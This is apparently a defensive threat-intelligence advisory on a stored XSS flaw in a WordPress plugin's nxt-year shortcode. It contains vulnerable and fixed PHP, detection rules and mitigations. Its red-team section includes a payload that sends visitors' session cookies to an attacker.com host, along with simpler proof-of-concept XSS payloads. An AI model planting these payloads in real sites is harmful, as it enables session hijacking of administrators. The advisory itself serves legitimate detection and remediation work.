CVE-2025-13731

Executive Summary

CVE-2025-13731 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nexter Extension – Site Enhancements Toolkit plugin for WordPress, affecting all versions up to and including 4.4.1. The flaw resides in the nxt-year shortcode, which fails to properly sanitize user input and escape output. This allows authenticated attackers with at least Contributor-level privileges to inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as Medium severity (CVSS 6.4) due to the requirement for authenticated access and user interaction. No public exploit code or patch is currently available, but the risk is elevated for WordPress sites using this plugin with multiple user roles.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Nexter Extension plugin is a site enhancement toolkit, and the flaw is in its shortcode handling. Attackers with Contributor-level access (a standard WordPress role) can exploit this to target higher-privileged users.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Contributor-level access.
• User Interaction (UI): None (N) – No victim action needed beyond visiting the page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Overall Score: 6.4 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the nxt-year shortcode. The plugin registers a shortcode that outputs a year value, but it does not sanitize or escape the input before rendering it in the page HTML. An attacker with Contributor-level access can create or edit a post/page and insert the shortcode with a malicious payload, such as:

[nxt-year year="2025<script>alert('XSS')</script>"]

When the page is rendered, the shortcode outputs the unsanitized year parameter, causing the script to execute in the browser of any visitor. The lack of output escaping (esc_attr() or esc_html()) is the root cause.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts the malicious shortcode into the post content.
4. The post is saved and published (or left as pending review).
5. When an administrator or other user views the post, the XSS payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.4.1):

function nxt_year_shortcode($atts) {
    $atts = shortcode_atts(array('year' => date('Y')), $atts);
    return $atts['year']; // No sanitization or escaping
}
add_shortcode('nxt-year', 'nxt_year_shortcode');

Patched Code (Hypothetical):

function nxt_year_shortcode($atts) {
    $atts = shortcode_atts(array('year' => date('Y')), $atts);
    $year = intval($atts['year']); // Sanitize to integer
    return esc_html($year); // Escape output
}
add_shortcode('nxt-year', 'nxt_year_shortcode');

The patched version uses intval() to ensure the year is a numeric value and esc_html() to escape any HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• WordPress instance with Nexter Extension plugin <= 4.4.1.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to Posts > Add New.
3. In the content editor, insert the following shortcode:

   [nxt-year year="2025<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish the post (or save as draft and trick an admin to preview).
5. When an admin views the post, the script executes, sending their session cookie to the attacker's server.

Proof-of-Concept (PoC) Payload:

[nxt-year year="2025<img src=x onerror=alert(1)>"]

Blue Team (Defender) Perspective

Detection:

• Monitor for posts containing the string [nxt-year in the content.
• Look for unusual shortcode parameters that include HTML or JavaScript.
• Use WAF rules to block requests with <script> tags in shortcode attributes.

Hunting Query (WordPress Database):

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%[nxt-year%'
  AND (post_content LIKE '%<script%' OR post_content LIKE '%onerror%' OR post_content LIKE '%onload%');

Mitigation:

• Disable the plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode parameters.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/nexter-extension/ (presence of the plugin)
• Database Entry: Posts containing [nxt-year with suspicious parameters (e.g., <script>, onerror, onload).
• Network Traffic: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Log Entry: Unusual shortcode usage in post revisions or content changes.

Detection Engineering

YARA Rule

rule CVE_2025_13731_Stored_XSS {
    meta:
        description = "Detects malicious shortcode usage for CVE-2025-13731"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13731"
    strings:
        $shortcode = "[nxt-year" nocase
        $xss_payload_1 = /<script[^>]*>/i
        $xss_payload_2 = /onerror\s*=/i
        $xss_payload_3 = /onload\s*=/i
        $xss_payload_4 = /onclick\s*=/i
    condition:
        $shortcode and any of ($xss_payload_*)
}

Sigma Rule

title: CVE-2025-13731 Stored XSS via Nexter Extension Shortcode
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects posts containing malicious nxt-year shortcode parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '[nxt-year'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'onclick='
    condition: selection and keywords
falsepositives:
    - Legitimate use of shortcode with numeric year only
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13731 Stored XSS via Nexter Extension Shortcode"; flow:to_server,established; content:"[nxt-year"; http_client_body; pcre:"/(<script|onerror|onload|onclick)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review all posts for suspicious shortcode usage and remove them.
3. Change all user passwords if compromise is suspected.

Long-Term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement input validation and output escaping for all shortcodes.
• Restrict Contributor-level access to only trusted users.

Workaround:

• Use a WAF to block requests containing [nxt-year with non-numeric parameters.
• Add a custom function to your theme's functions.php to override the shortcode:

remove_shortcode('nxt-year');
add_shortcode('nxt-year', function($atts) {
    $atts = shortcode_atts(array('year' => date('Y')), $atts);
    return esc_html(intval($atts['year']));
});

Valters IT
DevSecOps & Cyber Threat Intelligence